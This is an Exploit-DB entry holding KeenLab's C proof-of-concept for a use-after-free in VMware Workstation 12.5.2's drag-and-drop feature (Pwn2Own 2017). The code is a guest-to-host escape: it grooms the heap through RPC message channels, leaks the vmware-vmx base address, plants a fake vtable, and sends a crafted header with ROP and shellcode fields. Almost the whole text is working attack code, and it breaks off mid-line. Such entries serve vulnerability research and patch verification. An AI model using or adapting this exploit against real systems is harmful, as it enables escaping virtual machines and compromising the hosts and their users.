Exploit-DB #44533
Description: VMware Workstation 12.5.2 - Drag n Drop Use-After-Free (Pwn2Own 2017) (PoC)
Type: dos
Platform: windows
Date: 2018-04-23
Author: keenlab

Exploit:
char *initial_dnd = "tools.capability.dnd_version 4";
static const int cbObj = 0x100;
char *second_dnd = "tools.capability.dnd_version 2";
char *chgver = "vmx.capability.dnd_version";
char *call_transport = "dnd.transport ";
char *readstring = "ToolsAutoInstallGetParams";
typedef struct _DnDCPMsgHdrV4
{
    char magic[14];
    char dummy[2];
    size_t ropper[13];
    char shellcode[175];
    char padding[0x80];
} DnDCPMsgHdrV4;


void PrepareLFH()
{
    char *result = NULL;
    char *pObj = malloc(cbObj);
    memset(pObj, 'A', cbObj);
    pObj[cbObj - 1] = 0;
    for (int idx = 0; idx < 1; ++idx) // just occupy 1
    {
        char *spary = stringf("info-set guestinfo.k%d %s", idx, pObj);
        RpcOut_SendOneRaw(spary, strlen(spary), &result, NULL); //alloc one to occupy 4
    }
    free(pObj);
}

size_t infoleak()
{
#define MAX_LFH_BLOCK 512
    Message_Channel *chans[5] = {0};
    for (int i = 0; i < 5; ++i)
    {
        chans[i] = Message_Open(0x49435052);
        if (chans[i])
        {
            Message_SendSize(chans[i], cbObj - 1); //just alloc
        }
        else
        {
            Message_Close(chans[i - 1]); //keep 1 channel valid
            chans[i - 1] = 0;
            break;
        }
    }
    PrepareLFH(); //make sure we have at least 7 hole or open and occupy next LFH block
    for (int i = 0; i < 5; ++i)
    {
        if (chans[i])
        {
            Message_Close(chans[i]);
        }
    }

    char *result = NULL;
    char *pObj = malloc(cbObj);
    memset(pObj, 'A', cbObj);
    pObj[cbObj - 1] = 0;
    char *spary2 = stringf("guest.upgrader_send_cmd_line_args %s", pObj);
    while (1)
    {
        for (int i = 0; i < MAX_LFH_BLOCK; ++i)
        {
            RpcOut_SendOneRaw(tov4, strlen(tov4), &result, NULL);
            RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
            RpcOut_SendOneRaw(tov2, strlen(tov2), &result, NULL);
            RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
        }

        for (int i = 0; i < MAX_LFH_BLOCK; ++i)
        {
            Message_Channel *chan = Message_Open(0x49435052);
            if (chan == NULL)
            {
                puts("Message send error!");
                Sleep(100);
            }
            else
            {
                Message_SendSize(chan, cbObj - 1);
                Message_RawSend(chan, "\xA0\x75", 2); //just ret
                Message_Close(chan);
            }
        }
        Message_Channel *chan = Message_Open(0x49435052);
        Message_SendSize(chan, cbObj - 1);
        Message_RawSend(chan, "\xA0\x74", 2);                                 //free
        RpcOut_SendOneRaw(dndtransport, strlen(dndtransport), &result, NULL); //trigger double free
        for (int i = 0; i < min(cbObj-3,MAX_LFH_BLOCK); ++i)
        {
            RpcOut_SendOneRaw(spary2, strlen(spary2), &result, NULL);
            Message_RawSend(chan, "B", 1);
            RpcOut_SendOneRaw(readstring, strlen(readstring), &result, NULL);
            if (result[0] == 'A' && result[1] == 'A' && strcmp(result, pObj))
            {
               Message_Close(chan); //free the string
                for (int i = 0; i < MAX_LFH_BLOCK; ++i)
                {
                    puts("Trying to leak vtable");
                    RpcOut_SendOneRaw(tov4, strlen(tov4), &result, NULL);
                    RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
                    RpcOut_SendOneRaw(readstring, strlen(readstring), &result, NULL);
                    size_t p = 0;
                    if (result)
                    {
                        memcpy(&p, result, min(strlen(result), 8));
                        printf("Leak content: %p\n", p);
                    }
                    size_t low = p & 0xFFFF;
                    if (low == 0x74A8 || //RpcBase
                        low == 0x74d0 || //CpV4
                        low == 0x7630)   //DnDV4
                    {
                        printf("vmware-vmx base: %p\n", (p & (~0xFFFF)) - 0x7a0000);
                        return (p & (~0xFFFF)) - 0x7a0000;
                    }
                    RpcOut_SendOneRaw(tov2, strlen(tov2), &result, NULL);
                    RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
                }
            }
        }
        Message_Close(chan);
    }
    return 0;
}

void exploit(size_t base)
{
    char *result = NULL;
    char *uptime_info = stringf("SetGuestInfo -7-%I64u", 0x41414141);
    char *pObj = malloc(cbObj);
    memset(pObj, 0, cbObj);

    DnDCPMsgHdrV4 *hdr = malloc(sizeof(DnDCPMsgHdrV4));
    memset(hdr, 0, sizeof(DnDCPMsgHdrV4));
    memcpy(hdr->magic, call_transport, strlen(call_transport));
    while (1)
    {
        RpcOut_SendOneRaw(second_dnd, strlen(second_dnd), &result, NULL);
        RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
        for (int i = 0; i < MAX_LFH_BLOCK; ++i)
        {
            Message_Channel *chan = Message_Open(0x49435052);
            Message_SendSize(chan, cbObj - 1);
            size_t fake_vtable[] = {
                base + 0xB87340,
                base + 0xB87340,
                base + 0xB87340,
                base + 0xB87340};

            memcpy(pObj, &fake_vtable, sizeof(size_t) * 4);

            Message_RawSend(chan, pObj, sizeof(size_t) * 4);
            Message_Close(chan);
        }
        RpcOut_SendOneRaw(uptime_info, strlen(uptime_info), &result, NULL);
        RpcOut_SendOneRaw(hdr, sizeof(DnDCPMsgHdrV4), &result, NULL);
        //check pwn success?
        RpcOut_SendOneRaw(readstring, strlen(readstring), &result, NULL);
        if (*(size_t *)result == 0xdeadbeefc0debabe)
        {
            puts("VMware escape success! \nPwned by KeenLab, Tencent");
            RpcOut_SendOneRaw(initial_dnd, strlen(initial_dnd), &res